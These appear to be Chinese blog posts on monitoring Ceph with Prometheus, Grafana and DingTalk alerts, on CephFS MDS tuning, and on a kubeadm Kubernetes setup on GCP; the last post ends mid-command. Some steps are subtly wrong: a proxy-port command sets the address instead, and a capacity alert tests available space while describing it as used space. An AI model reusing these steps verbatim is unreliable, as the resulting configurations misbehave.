
1. 问题描述 工作环境中有三个独立的 Ceph 集群,分别负责对象存储、块存储和文件存储。搭建这几个 Ceph 集群时,我对 Ceph 重命名 Cluster name 的难度没有足够的了解,所以使用的都是默认的 cluster name:ceph,不巧的是 Prometheus 的 ceph_exporter 就是用 cluster name 来区分不同集群,结果是 Grafana 中各个集群的数据无法区分,所有的集群数据都绘制在了一个图标中,非常乱不说,而且部分数据还无法正常显示。 也许大家会说,那就改 Ceph cluster name 不就好了。问题是 Ceph 修改 Cluster name 没那么简单,ceph 文件存储目录都是和 Cluster name 有对应关系的,所以很多配置文件和数据都需要修改目录才能生效,对于已经开始正式使用的 Ceph 集群,这么做风险有点大。当然如果给每个 Ceph 集群单独搭建一个 Prometheus 和 Grafana 环境的话,问题也能解决,但这种方式显得太没技术含量了,不到万不得已,实在不想采用。 我最开始想到的解决方式是修改 ceph_exporter,既然 cluster name 不行,那加上 Ceph 的 fsid 总能区分出来了吧,就像这样: 不过 fsid 这个变量很难直观看出来代表的是哪个 Ceph 集群,也不是一个好的方案。 最后多亏 neurodrone,才了解到 Prometheus 的 relabel 功能,可以完美的解决这个问题。 2. relabel 配置 Relabel 的本意其实修改导出 metrics 信息的 label 字段,可以对 metrics 做过滤,删除某些不必要的 metrics,label 重命名等,而且也支持对 label 的值作出修改。 举一个例子,三个集群的 ceph_pool_write_total 的 label cluster 取值都为 ceph。但在 Prometheus 的配置中,他们分别是分属于不通 job 的,我们可以通过对 job 进行 relabel 来修改 cluster label 的指,来完成区分。 # cluster1's metric ceph_pool_write_total{cluster="ceph",pool=".rgw.root"} 4 # cluster2's metric ceph_pool_write_total{cluster="ceph",pool=".rgw.root"} 10 # cluster3's metric ceph_pool_write_total{cluster="ceph",pool=".rgw.root"} 7 具体的配置如下,cluster label 的值就改为了 ceph*,并且导出到了新 label clusters 中。 scrape_configs: - job_name: 'ceph1' relabel_configs: - source_labels: ["cluster"] replacement: "ceph1" action: replace target_label: "clusters" static_configs: - targets: ['ceph1:9128'] labels: alias: ceph1 - job_name: 'ceph2' relabel_configs: - source_labels: ["cluster"] replacement: "ceph2" action: replace target_label: "clusters" static_configs: - targets: ['ceph2:9128'] labels: alias: ceph2 - job_name: 'ceph3' relabel_configs: - source_labels: ["cluster"] replacement: "ceph3" action: replace target_label: "clusters" static_configs: - targets: ['ceph3:9128'] labels: alias: ceph3 修改后的 metric 信息变成这个样子,这样我们就可以区分出不同的 Ceph 集群的数据了。 # cluster1's metric ceph_pool_write_total{clusters="ceph1",pool=".rgw.root"} 4 # cluster2's metric ceph_pool_write_total{clusters="ceph2",pool=".rgw.root"} 10 # cluster3's metric ceph_pool_write_total{clusters="ceph3",pool=".rgw.root"} 7 3. Grafana dashboard 调整 光是修改 Prometheus 的配置还不够,毕竟我们还要在界面上能体现出来,Grafana 的 dashboard 也要做对应的修改,本文使用的 dashboard 是 Ceph - Cluster。 首先是要 dashboard 添加 clusters 变量,在界面上操作即可。先点击 dashboard 的 "settings" 按钮(显示齿轮图标的就是) 如下图所示添加 clusters variable,最后保存。 我们已经可以在 dashboard 上看到新加的 variable 了: 接下来每个图表的查询语句也要做对应的修改: 最终改好的 dashboard json 文件可从如下链接下载到:ceph-cluster.json 4. 参考文档 Prometheus relabel configuration Prometheus relabeling tricks ceph_exporter issue: Can we consider to add "fsid" as a filter variable alongside with "cluster"? Prometheus中的服务发现和relabel
最近公司的生产环境已经开始使用 CephFS 作为文件系统存储,记录一下使用过程中遇到的问题,已经一些常用的命令。 1. 常用命令 1.1 ceph daemon mds.xxx help ceph daemon 是一个很常用的命令,可以用来查看 Ceph 的各个守护进程的状态,这个 help 命令可以看到 MDS daemon 都支持哪些子命令: $ sudo ceph daemon mds.cephfs-master1 help { "cache status": "show cache status", "config diff": "dump diff of current config and default config", "config diff get": "dump diff get <field>: dump diff of current and default config setting <field>", "config get": "config get <field>: get the config value", "config help": "get config setting schema and descriptions", "config set": "config set <field> <val> [<val> ...]: set a config variable", "config show": "dump current config settings", "dirfrag ls": "List fragments in directory", "dirfrag merge": "De-fragment directory by path", "dirfrag split": "Fragment directory by path", "dump cache": "dump metadata cache (optionally to a file)", "dump loads": "dump metadata loads", "dump tree": "dump metadata cache for subtree", "dump_blocked_ops": "show the blocked ops currently in flight", "dump_historic_ops": "show slowest recent ops", "dump_historic_ops_by_duration": "show slowest recent ops, sorted by op duration", "dump_mempools": "get mempool stats", "dump_ops_in_flight": "show the ops currently in flight", "export dir": "migrate a subtree to named MDS", "flush journal": "Flush the journal to the backing store", "flush_path": "flush an inode (and its dirfrags)", "force_readonly": "Force MDS to read-only mode", "get subtrees": "Return the subtree map", "get_command_descriptions": "list available commands", "git_version": "get git sha1", "help": "list available commands", "log dump": "dump recent log entries to log file", "log flush": "flush log entries to log file", "log reopen": "reopen log file", "objecter_requests": "show in-progress osd requests", "ops": "show the ops currently in flight", "osdmap barrier": "Wait until the MDS has this OSD map epoch", "perf dump": "dump perfcounters value", "perf histogram dump": "dump perf histogram values", "perf histogram schema": "dump perf histogram schema", "perf reset": "perf reset <name>: perf reset all or one perfcounter name", "perf schema": "dump perfcounters schema", "scrub_path": "scrub an inode and output results", "session evict": "Evict a CephFS client", "session ls": "Enumerate connected CephFS clients", "status": "high-level status of MDS", "tag path": "Apply scrub tag recursively", "version": "get ceph version" } 1.2 ceph daemon mds.xxx cache status 这个命令是用来查看 Ceph MDS 缓存的使用情况,默认的配置是使用 1G 内存作为缓存,不过这不是一个固定的上限,实际用量可能突破配置。 $ sudo ceph daemon mds.cephfs-master1 cache status { "pool": { "items": 321121429, "bytes": 25797208658 } } 1.3 ceph mds stat 查看 MDS 组件状态,下面的例子输出的结果表示只有一个 MDS,而且 MDS 已经处于正常工作状态。 $ ceph mds stat cephfs-1/1/1 up {0=cephfs-master1=up:active} 1.4 ceph daemon mds.xxx perf dump mds 查看 MDS 的性能指标。 $ sudo ceph daemon mds.cephfs-master1 perf dump mds { "mds": { "request": 4812776, "reply": 4812772, "reply_latency": { "avgcount": 4812772, "sum": 4018.941028931, "avgtime": 0.000835057 }, "forward": 0, "dir_fetch": 170753, "dir_commit": 3253, "dir_split": 9, "dir_merge": 6, "inode_max": 2147483647, "inodes": 9305913, "inodes_top": 1617338, "inodes_bottom": 7688575, "inodes_pin_tail": 0, "inodes_pinned": 6995430, "inodes_expired": 13937, "inodes_with_caps": 6995443, "caps": 7002958, "subtrees": 2, "traverse": 5076658, "traverse_hit": 4835068, "traverse_forward": 0, "traverse_discover": 0, "traverse_dir_fetch": 91030, "traverse_remote_ino": 0, "traverse_lock": 109, "load_cent": 5356538, "q": 1, "exported": 0, "exported_inodes": 0, "imported": 0, "imported_inodes": 0 } } 1.5 ceph daemon mds.xxx dirfrag ls / 这个命令是用来查看文件系统某个目录下是否有脏数据。 $ sudo ceph daemon mds.cephfs-master1 dirfrag ls / [ { "value": 0, "bits": 0, "str": "0/0" } ] 1.6 该命令是用来查看 CephFS 的 session 连接。 $ sudo ceph daemon mds.cephfs-master1 session ls [ { "id": 9872, "num_leases": 0, "num_caps": 1, "state": "open", "replay_requests": 0, "completed_requests": 0, "reconnecting": false, "inst": "client.9872 192.168.250.1:0/1887245819", "client_metadata": { "entity_id": "k8s.training.cephfs-teamvolume-aaaaaa-pvc", "hostname": "GPU-P100", "kernel_version": "4.9.107-0409107-generic", "root": "/prod/training/cephfs-teamvolume-aaaaaa-pvc" } }, ...... ] 2. 问题分析 2.1 Client cephfs-master1 failing to respond to cache pressure client_id: 9807 正巧是我修改了 MDS cache 之后出现了这个告警,所以一开始怀疑是是不是因为改大了 cache 造成了这个问题,但当我恢复了 cache 的默认值之后,问题依然存在。于是在 Ceph 的邮件列表中搜索类似问题,发现该问题一般都是 inode_max 这个数值设置的不够大造成的,于是查看了一下当前的 inode 和 inode_max 信息: $ sudo ceph daemon mds.cephfs-master1 perf dump mds { "mds": { "request": 404611246, "reply": 404611201, "reply_latency": { "avgcount": 404611201, "sum": 9613563.153437701, "avgtime": 0.023760002 }, ...... "inode_max": 2147483647, "inodes": 3907095, ...... } inodes 远小于 inode_max,所以这里的配置也没有问题。继续搜索发现不只是 inodes 的数量会造成这个问题,已经过期的 inodes 也是有影响的。 $ sudo ceph daemon mds.cephfs-master1 perf dump mds { ...... "inodes_expired": 21999096501, ...... } 果然,inodes_expired 的数值已经非常大了。进一步搜索发现,造成这个问题的主因是 cephfs 不会自动清理过期的 inodes,所以积累时间久了,就容易出现不够用的现象。解决方法如下: $ sudo vim /etc/ceph/ceph.conf …… [client] client_try_dentry_invalidate = false …… $ sudo systemctl restart ceph-mds@cephfs-master1.service 2.2 MDS cache 配置 MDS 目前官方推荐的配置还是单活的,也就是说一个集群内只有一个提供服务的 MDS,虽然 Ceph MDS 性能很高,但毕竟是单点,再加上 MDS 运行的物理机上内存资源还是比较富裕的,自然想到通过使用内存作为缓存来提高 MDS 的性能。但是 MDS 的缓存配置项很多,一时还真不确定应该用哪个选项,而且配置成多大合适也拿不准。 经过进一步的整理后,把缓存配置进一步分解为以下四个小问题。 到底使用哪个选项配置缓存的大小 为什么大部分时间用不到配置的内存量 为什么有时 MDS 占用的内存远大于缓存的配置 应该将缓存配置成多大 2.2.1 到底使用哪个选项配置缓存的大小 相关的配置项主要有两个:mds_cache_size 和 mds_cache_memory_limit,mds_cache_size 是老版本的配置参数,单位是 inode,目前的默认值是 0,表示没有限制;mds_cache_memory_limit 是建议使用的值,单位是 byte,默认值为 1G。所以要调整 cache 大小,当然是要改 mds_cache_memory_limit 。 2.2.2 为什么大部分时间用不到配置的内存量 例如将 mds_cache_memory_limit 配置为 30G(mds_cache_memory_limit = 32212254726),而实际运行时,看到的缓存用量却是这样的: $ sudo ceph daemon mds.cephfs-master1 cache status { "pool": { "items": 321121429, "bytes": 31197237046 } } 虽然差距不大,但为什么总是用不到配置的内存量呢?原因在于这个参数:mds_cache_reservation,这个参数表示 MDS 预留一部分内存,没有具体的作用,就是为了留有余地。当 MDS 开始侵占这部分内存时,系统会自动释放掉超过配额的那部分。 mds_cache_reservation 的默认值是 5%,所以造成了我们看到的现象。 2.2.3 为什么有时 MDS 占用的内存远大于缓存的配置 但有时 MDS 占用的内存又远远大于配置的缓存,这个原因是 mds_cache_memory_limit 并非一个固定死不能突破的上限,程序运行时可能会在特定情况下突破配置的上限,所以建议不要把这个值配置的和系统内存总量太接近。不然有可能会占满整个服务器的内存资源。 2.2.4 应该将缓存配置成多大 官方文档有明确的说明,不推荐大于 64G,这里面的原因主要是 Ceph 的 bug,有很多使用者发现当高于 64g 时,MDS 有较高的概率占用远高于实际配置的内存,目前该 bug 还没有解决。 3. 参考文档 Why ceph status showing cephfs client failing to respond to cache pressure in RHCS MDS CONFIG REFERENCE Understanding MDS Cache Size Limits
本文是在 Ubuntu 16.04 最新版基础上安装 Prometheus 监控系统,Ceph 版本为 Luminous 12.2.8。 1. 安装 Prometheus 直接使用 apt 安装的 Prometheus 版本较低,很多新的配置选项都已不再支持,建议使用 Prometheus 的安装包,接下来看看安装包部署的步骤。 先下载安装包,这里用的是 2.0.0 版本,目前为止,最新的应该为 2.4.0,安装方法都是一样的。 $ wget https://github.com/prometheus/prometheus/releases/download/v2.0.0/prometheus-2.0.0.linux-amd64.tar.gz $ tar zxvf prometheus-2.0.0.linux-amd64.tar.gz $ cd prometheus-2.0.0.linux-amd64/ $ sudo cp prometheus /usr/bin/ $ sudo cp promtool /usr/bin/ $ vim /lib/systemd/system/prometheus.service [Unit] Description=Prometheus: the monitoring system Documentation=http://prometheus.io/docs/ [Service] ExecStart=/usr/bin/prometheus --config.file=/etc/prometheus/prometheus.yml --storage.tsdb.path=/var/lib/prometheus --web.console.templates=/etc/prometheus/consoles --web.console.libraries=/etc/prometheus/console_libraries --web.listen-address=0.0.0.0:9090 --web.external-url= Restart=always StartLimitInterval=0 RestartSec=10 [Install] WantedBy=multi-user.target $ sudo mkdir /etc/prometheus/ $ sudo cp -R consoles console_libraries prometheus.yml /etc/prometheus/ $ sudo mkdir /var/lib/prometheus/ $ sudo systemctl daemon-reload $ sudo systemctl enable prometheus.service $ sudo systemctl start prometheus.service 在下一步装好 ceph_exporter 后,还需要在 Promethues 中添加相应配置,不过现在执行到这一步就可以了。 2. 安装 ceph_exporter 2.1 安装 Go 语言环境 导出 Ceph 信息到 Prometheus 有多种方式,本文采用的是 DigitalOcean 的 ceph_exporter,ceph_exporter 使用 go 语言编写的,所以需要先安装 go 语言环境。还是一条命令解决: $ sudo apt install -y golang 安装好后执行 $ go env 命令验证并查看一下 go 环境信息。 $ go env GOARCH="amd64" GOBIN="" GOEXE="" GOHOSTARCH="amd64" GOHOSTOS="linux" GOOS="linux" GOPATH="" GORACE="" GOROOT="/usr/lib/go-1.6" GOTOOLDIR="/usr/lib/go-1.6/pkg/tool/linux_amd64" GO15VENDOREXPERIMENT="1" CC="gcc" GOGCCFLAGS="-fPIC -m64 -pthread -fmessage-length=0" CXX="g++" CGO_ENABLED="1" 然后需要设置 Go 环境变量: $ cat /etc/profile.d/go.sh export GOROOT=/usr/lib/go-1.6 export GOBIN=$GOROOT/bin export GOPATH=/home/<user-name>/go export PATH=$PATH:$GOROOT/bin:$GOPATH/bin $ source /etc/profile.d/go.sh 已经配置好 Go 环境了,接下来创建 GOPATH 指定的目录: $ mkdir /home/<user-name>/go 2.2 安装 ceph_exporter Go 环境安装好后,我们接下来下载 ceph_exporter 代码,然后编译出可执行程序。 $ mkdir -p /home/<user-name>/go/src/github.com/digitalocean $ cd /home/<user-name>/go/github.com/src/digitalocean $ git clone https://github.com/digitalocean/ceph_exporter $ cd ceph_exporter $ go build 这时编译会报错,原因是需要依赖 ceph rados 相关的头文件,需要安装 librados-dev 包。 $ sudo apt install -y librados-dev 安装好后,在编译,复制可执行文件到对应目录完成安装。再运行 go build 完成安装。 $ go get $ go build $ mkdir /home/<user-name>/go/bin $ cp ceph_exporter /home/<user-name>/go/bin 执行 ceph_exporter 来验证一下是否可以正常使用 $ ceph_exporter --help Usage of ceph_exporter: -ceph.config string path to ceph config file -ceph.user string Ceph user to connect to cluster. (default "admin") -exporter.config string Path to ceph exporter config. (default "/etc/ceph/exporter.yml") -rgw.mode int Enable collection of stats from RGW (0:disabled 1:enabled 2:background) -telemetry.addr string host:port for ceph exporter (default ":9128") -telemetry.path string URL path for surfacing collected metrics (default "/metrics") 接下来要配置 ceph_exporter 的自动启动: $ cat /lib/systemd/system/ceph_exporter.service [Unit] Description=Prometheus's ceph metrics exporter After=prometheus.ervice [Service] User=<user-name> Group=<group-name> ExecStart=/home/<user-name>/go/bin/ceph_exporter [Install] WantedBy=multi-user.target Alias=ceph_exporter.service $ sudo systemctl daemon-reload $ sudo systemctl enable ceph_exporter.service $ sudo systemctl start ceph_exporter.service 2.3 修改 Promethues 配置 接下来需要修改 Prometheus 的配置,添加一会要安装的 ceph_exporter 的相关信息: $ sudo vim /etc/prometheus/prometheus.yml ... scrape_configs: - job_name: 'ceph_exporter' static_configs: - targets: ['localhost:9128'] labels: alias: ceph_exporter ... 改好后,重启: $ sudo systemctl restart prometheus.service 3. 安装 Grafana 3.1 安装 Grafana 也不推荐使用 APT 安装,原因也是版本太低,安装官方打包好的版本是更优的选择。 $ sudo apt-get install -y adduser libfontconfig $ wget https://s3-us-west-2.amazonaws.com/grafana-releases/release/grafana_5.2.4_amd64.deb $ sudo dpkg -i grafana_5.2.4_amd64.deb $ sudo systemctl enable grafana-server $ sudo systemctl start grafana-server 至此 Grafana 也已经安装好了,接下来登录 grafana 界面。 3.2 配置 dashboard 访问 http://localhost:3000 来登录 Grafana,默认用户为 admin,密码也是 admin。 登录后首先需要配置 data source,访问地址 http://localhost:3000/datasources,会出现如上图所示的界面,按照图中显示的信息配置即可。 最后需要导入 Ceph 相关的界面,如图所示,导入的是编号为 917 的 dashboard(从 grafana.com 上,导入编号为 917 的 dashboard)。 完成后,终于可以看到 Ceph 的监控信息了。 4. 告警系统 现在已经有了图形化界面的状态监控,但出现紧急情况我们肯定不希望要登录到界面上才能察觉到,在 Prometheus 系统中,这个工作由 AlertManager 组件负责,接下来我们就以钉钉消息通知为例,看一下如何配置告警系统。 4.1 安装 AlertManager AlertManager 的安装流程和 Prometheus 很像,也是需要下载对应的安装包。 $ wget https://github.com/prometheus/alertmanager/releases/download/v0.15.2/alertmanager-0.15.2.linux-amd64.tar.gz $ tar zxvf alertmanager-0.15.2.linux-amd64.tar.gz $ cd alertmanager-0.15.2.linux-amd64 $ sudo cp alertmanager amtool /usr/bin/ $ sudo cp alertmanager.yml /etc/prometheus/ 接下来配置 systemd 的 unit 文件。 $ cat /lib/systemd/system/alertmanager.service [Unit] Description=Prometheus: the alerting system Documentation=http://prometheus.io/docs/ After=prometheus.service [Service] ExecStart=/usr/bin/alertmanager --config.file=/etc/prometheus/alertmanager.yml Restart=always StartLimitInterval=0 RestartSec=10 [Install] WantedBy=multi-user.target 启动 alermanager 服务,并配置开机启动。 $ sudo systemctl enable alertmanager.service $ sudo systemctl start alertmanager.service 在 Prometheus 中添加 AlertManager 的信息,并重启 Prometheus。 $ cat /etc/prometheus/prometheus.yml ... alerting: alertmanagers: - static_configs: - targets: ["localhost:9093"] $ sudo systemctl restart prometheus.service 4.2 获取钉钉的 webhook 要往钉钉发消息,当然要先知道 webhook 是多少,首先是在钉钉群里添加一个机器人,然后查看机器人的设置,就可以看到 webhook: 4.3 配置消息转发的 API 配置 Prometheus 直接向钉钉 Webhook 发消息应该是发不过去的,Prometheus 的消息格式和钉钉 webhook 并不兼容,而且就算是拿到消息中的字符串再发过去,没经过格式化的消息也太难看了。截个未经处理的钉钉消息的图给大家感受一下: 所以我们需要配置一个转发并格式化 Prometheus 消息的 API 服务器,在网上搜了一下还真的找到一个已经做好的格式化 Prometheus 消息的开源项目,完全满足需求:https://github.com/timonwong/prometheus-webhook-dingtalk,感谢 Timon Wong 的贡献。接下来介绍一下如何以 Docker 形式部署该 API 服务。 4.3.1 安装 Docker 首先当然是要先安装 Docker ,并配置 Docker 从国内镜像源下载镜像。 $ sudo apt install -y docker.io $ sudo vim /etc/docker/daemon.json { "registry-mirrors": ["https://registry.docker-cn.com"] } $ sudo systemctl restart docker.service 4.3.2 启动 prometheus-webhook-dingtalk 先下载镜像。 $ sudo docker pull timonwong/prometheus-webhook-dingtalk:v0.3.0 启动镜像。这里解释一下两个变量: <web-hook-name> :prometheus-webhook-dingtalk 支持多个钉钉 webhook,不同 webhook 就是靠名字对应到 URL 来做映射的。要支持多个钉钉 webhook,可以用多个 --ding.profile 参数的方式支持,例如:sudo docker run -d --restart always -p 8060:8060 timonwong/prometheus-webhook-dingtalk:v0.3.0 --ding.profile="webhook1=https://oapi.dingtalk.com/robot/send?access_token=token1" --ding.profile="webhook2=https://oapi.dingtalk.com/robot/send?access_token=token2"。而名字和 URL 的对应规则如下,ding.profile="webhook1=......",对应的 API URL 为:http://localhost:8060/dingtalk/webhook1/send <dingtalk-webhook>:这个就是之前获取的钉钉 webhook。 $ sudo docker run -d --restart always -p 8060:8060 timonwong/prometheus-webhook-dingtalk:v0.3.0 --ding.profile="<web-hook-name>=<dingtalk-webhook>" 4.4 配置 AlertManager 告警规则 首先修改 alertmanager.yml,在下面这个例子中指定了名为 web.hook 的消息接收方,url 为刚刚启动的 prometheus-webhook-dingtalk 的地址。 $ cat /etc/prometheus/alertmanager.yml global: resolve_timeout: 5m route: group_by: ['alertname'] group_wait: 10s group_interval: 10s repeat_interval: 1h receiver: 'web.hook' receivers: - name: 'web.hook' webhook_configs: - url: 'http://localhost:8060/dingtalk/web.hook/send' inhibit_rules: - source_match: severity: 'critical' target_match: severity: 'warning' equal: ['alertname', 'dev', 'instance'] 然后修改 /etc/prometheus/prometheus.yml,添加告警规则文件。 $ cat /etc/prometheus/prometheus.yml ...... rule_files: - /etc/prometheus/rules/ceph.yaml 接下来轮到刚刚提到的告警规则文件了,下面这个例子中定义了在 ceph 可用存储空间小于总存储空间 70% 的情况下,发出告警消息。 $ cat /etc/prometheus/rules/ceph.yaml groups: - name: ceph-rule rules: - alert: CephCapacityUsage expr: ceph_cluster_available_bytes / ceph_cluster_capacity_bytes * 100 > 70 for: 2m labels: product: ceph annotations: summary: "{{$labels.instance}}: Not enough capacity in Ceph detected" description: "{{$labels.instance}}: Available capacity is used up to 70% (current value is: {{ $value }}" 好了,最后重启 AlertManager 和 Prometheus 就大功告成了。 $ sudo systemctl restart alertmanager.service $ sudo systemctl restart prometheus.service 最后我们来看看发出来的消息效果如何,确实比之前好看多了,总算是没有白费一番功夫。 好了,Prometheus 监控 Ceph 到这里就结束了,多谢各位看官,下期见。 5. 参考文档 Installing on Debian / Ubuntu [ubuntu系统安装go语言的简单方法](https://www.jianshu.com/p/82f5a3928897) Ceph集群监控Prometheus+Grafana 使用 prometheus + grafana 监控 ceph 集群 Prometheus报警AlertManager实战 alertmanager 将钉钉接入 Prometheus AlertManager WebHook
0. 介绍 最近在准备 CKA 考试,所以需要搭建一个 Kubernetes 集群来方便练习.GCP 平台新用户注册送 300 刀体验金,所以就想到用 kubeadm 在 GCP 弄个练练手,既方便又省钱. 这一套做下来,还是比较容易上手的,kubeadm 提供的是傻瓜式的安装体验,所以难度主要还是在科学上网和熟悉 GCP 的命令上,接下来就详细记述一下如何操作. 1. 准备 接下来的操作都假设已经设置好了科学上网,由于政策原因,具体做法请自行搜索;而且已经注册好了 GCP 账户,链接如下:GCP 1.1 gcloud 安装和配置 首先需要在本地电脑上安装 GCP 命令行客户端:gcloud,参考链接为:gcloud 因为众所周知的原因,gcloud 要能正常使用,要设置代理才可以,下面是设置 SOCKS5 代理的命令: # gcloud config set proxy/type PROXY_TYPE $ gcloud config set proxy/type socks5 # gcloud config set proxy/address PROXY_IP_ADDRESS $ gcloud config set proxy/address 127.0.0.1 # gcloud config set proxy/port PROXY_PORT $ gcloud config set proxy/address 1080 如果是第一次使用 GCP,需要先进行初始化.在初始化的过程中会有几次交互,使用默认选项即可.由于之前已经设置了代理,网络代理相关部分就可以跳过了.注意:在选择 region(区域)时,建议选择 us-west2,原因是目前大部分 GCP 的 region,体验用户只能最多创建四个虚拟机实例,只有少数几个区域可以创建六个,其中就包括 us-west2,正常来讲,搭建 Kubernetes 需要三个 master,三个 worker,四个不太够用,当然如果只是试试的话,两个节点,一主一从,也够用了. $ gcloud init Welcome! This command will take you through the configuration of gcloud. Settings from your current configuration [profile-name] are: core: disable_usage_reporting: 'True' Pick configuration to use: [1] Re-initialize this configuration [profile-name] with new settings [2] Create a new configuration [3] Switch to and re-initialize existing configuration: [default] Please enter your numeric choice: 3 Your current configuration has been set to: [default] You can skip diagnostics next time by using the following flag: gcloud init --skip-diagnostics Network diagnostic detects and fixes local network connection issues. Checking network connection...done. ERROR: Reachability Check failed. Cannot reach https://www.google.com (ServerNotFoundError) Cannot reach https://accounts.google.com (ServerNotFoundError) Cannot reach https://cloudresourcemanager.googleapis.com/v1beta1/projects (ServerNotFoundError) Cannot reach https://www.googleapis.com/auth/cloud-platform (ServerNotFoundError) Cannot reach https://dl.google.com/dl/cloudsdk/channels/rapid/components-2.json (ServerNotFoundError) Network connection problems may be due to proxy or firewall settings. Current effective Cloud SDK network proxy settings: type = socks5 host = PROXY_IP_ADDRESS port = 1080 username = None password = None What would you like to do? [1] Change Cloud SDK network proxy properties [2] Clear all gcloud proxy properties [3] Exit Please enter your numeric choice: 1 Select the proxy type: [1] HTTP [2] HTTP_NO_TUNNEL [3] SOCKS4 [4] SOCKS5 Please enter your numeric choice: 4 Enter the proxy host address: 127.0.0.1 Enter the proxy port: 1080 Is your proxy authenticated (y/N)? N Cloud SDK proxy properties set. Rechecking network connection...done. Reachability Check now passes. Network diagnostic (1/1 checks) passed. You must log in to continue. Would you like to log in (Y/n)? y Your browser has been opened to visit: https://accounts.google.com/o/oauth2/auth?redirect_uri=...... 已在现有的浏览器会话中创建新的窗口。 Updates are available for some Cloud SDK components. To install them, please run: $ gcloud components update You are logged in as: [<gmail account>]. Pick cloud project to use: [1] <project-id> [2] Create a new project Please enter numeric choice or text value (must exactly match list item): 1 Your current project has been set to: [<project-id>]. Your project default Compute Engine zone has been set to [us-west2-b]. You can change it by running [gcloud config set compute/zone NAME]. Your project default Compute Engine region has been set to [us-west2]. You can change it by running [gcloud config set compute/region NAME]. Created a default .boto configuration file at [/home/<username>/.boto]. See this file and [https://cloud.google.com/storage/docs/gsutil/commands/config] for more information about configuring Google Cloud Storage. Your Google Cloud SDK is configured and ready to use! * Commands that require authentication will use <gmail account> by default * Commands will reference project `<project-id>` by default * Compute Engine commands will use region `us-west2` by default * Compute Engine commands will use zone `us-west2-b` by default Run `gcloud help config` to learn how to change individual settings This gcloud configuration is called [default]. You can create additional configurations if you work with multiple accounts and/or projects. Run `gcloud topic configurations` to learn more. Some things to try next: * Run `gcloud --help` to see the Cloud Platform services you can interact with. And run `gcloud help COMMAND` to get help on any gcloud command. * Run `gcloud topic -h` to learn about advanced features of the SDK like arg files and output formatting 1.2 GCP 资源创建 接下来创建 Kuernetes 所需的 GCP 资源. 第一步是创建网络和子网. $ gcloud compute networks create cka --subnet-mode custom $ gcloud compute networks subnets create kubernetes --network cka --range 10.240.0.0/24 接下来要创建防火墙规则,配置哪些端口是可以开放访问的.一共两条规则,一个外网,一个内网.外网规则只需要开放 ssh, ping 和 kube-api 的访问就足够了: $ gcloud compute firewall-rules create cka-external --allow tcp:22,tcp:6443,icmp --network cka --source-ranges 0.0.0.0/0 内网规则设置好 GCP 虚拟机网段和后面 pod 的网段可以互相访问即可,因为后面会使用 calico 作为网络插件,所以只开放 TCP, UDP 和 ICMP 是不够的,还需要开放 BGP,但 GCP 的防火墙规则中没有 BGP 选项,所以放开全部协议的互通. $ gcloud compute firewall-rules create cka-internal --network cka --allow=all --source-ranges 192.168.0.0/16,10.240.0.0/16 最后创建 GCP 虚拟机实例. $ gcloud compute instances create controller-1 --async --boot-disk-size 200GB --can-ip-forward --image-family ubuntu-1804-lts --image-project ubuntu-os-cloud --machine-type n1-standard-1 --private-network-ip 10.240.0.11 --scopes compute-rw,storage-ro,service-management,service-control,logging-write,monitoring --subnet kubernetes --tags cka,controller $ gcloud compute instances create worker-1 --async --boot-disk-size 200GB --can-ip-forward --image-family ubuntu-1804-lts --image-project ubuntu-os-cloud --machine-type n1-standard-1 --private-network-ip 10.240.0.21 --scopes compute-rw,storage-ro,service-management,service-control,logging-write,monitoring --subnet kubernetes --tags cka,worker 2. 主节点配置 使用 gcloud 登录 controller-1 $ gcloud compute ssh controller-1 WARNING: The public SSH key file for gcloud does not exist. WARNING: The private SSH key file for gcloud does not exist. WARNING: You do not have an SSH key for gcloud. WARNING: SSH keygen will be executed to generate a key. Generating public/private rsa key pair. Enter passphrase (empty for no passphrase): Enter same passphrase again: Your identification has been saved in /home/<username>/.ssh/google_compute_engine. Your public key has been saved in /home/<username>/.ssh/google_compute_engine.pub. The key fingerprint is: SHA256:jpaZtzz42t7FjB1JV06GeVHhXVi12LF/a+lfl7TK2pw <username>@<username> The key's randomart image is: +---[RSA 2048]----+ | O&| | B=B| | ...*o| | . o .| | S o .o| | * = .. *| | *.o . = *o| | ..+.o .+ = o| | .+*....E .o| +----[SHA256]-----+ Updating project ssh metadata...⠧Updated [https://www.googleapis.com/compute/v1/projects/<project-id>]. Updating project ssh metadata...done. Waiting for SSH key to propagate. Warning: Permanently added 'compute.2329485573714771968' (ECDSA) to the list of known hosts. Welcome to Ubuntu 18.04.1 LTS (GNU/Linux 4.15.0-1025-gcp x86_64) * Documentation: https://help.ubuntu.com * Management: https://landscape.canonical.com * Support: https://ubuntu.com/advantage System information as of Wed Dec 5 03:05:31 UTC 2018 System load: 0.0 Processes: 87 Usage of /: 1.2% of 96.75GB Users logged in: 0 Memory usage: 5% IP address for ens4: 10.240.0.11 Swap usage: 0% Get cloud support with Ubuntu Advantage Cloud Guest: http://www.ubuntu.com/business/services/cloud 0 packages can be updated. 0 updates are security updates. $ ssh -l<user-name> -i .ssh/google_compute_engine.pub 35.236.126.174 安装 kubeadm, docker, kubelet, kubectl. $ sudo apt update $ sudo apt upgrade -y $ sudo apt-get install -y docker.io $ sudo vim /etc/apt/sources.list.d/kubernetes.list deb http://apt.kubernetes.io/ kubernetes-xenial main $ curl -s https://packages.cloud.google.com/apt/doc/apt-key.gpg | sudo apt-key add - OK $ sudo apt update $ sudo apt-get install -y \ kubeadm=1.12.2-00 kubelet=1.12.2-00 kubectl=1.12.2-00 kubeadm 初始化 $ sudo kubeadm init --pod-network-cidr 192.168.0.0/16 配置 calico 网络插件 $ wget https://tinyurl.com/yb4xturm \ -O rbac-kdd.yaml $ wget https://tinyurl.com/y8lvqc9g \ -O calico.yaml $ kubectl apply -f rbac-kdd.yaml $ kubectl apply -f calico.yaml 配置 kubectl 的 bash 自动补全. $ source <(kubectl completion bash) $ echo "source <(kubectl completion bash)" >> ~/.bashrc 3. 从节点配置 这里偷懒了一下,从节点安装的包和主节点一模一样,大家可以根据需求,去掉一些不必要的包. $ sudo apt-get update && sudo apt-get upgrade -y $ apt-get install -y docker.io $ sudo vim /etc/apt/sources.list.d/kubernetes.list deb http://apt.kubernetes.io/ kubernetes-xenial main $ curl -s \ https://packages.cloud.google.com/apt/doc/apt-key.gpg \ | sudo apt-key add - $ sudo apt-get update $ sudo apt-get install -y \ kubeadm=1.12.2-00 kubelet=1.12.2-00 kubectl=1.12.2-00 如果此时 kubeadm init 命令中的 join 命令找不到了,或者 bootstrap token 过期了,该怎么办呢,下面就是解决方法. $ sudo kubeadm token list TOKEN TTL EXPIRES USAGES DESCRIPTION 27eee4.6e66ff60318da929 23h 2017-11-03T13:27:33Z authentication,signing The default bootstrap token generated by ’kubeadm init’.... $ sudo kubeadm token create 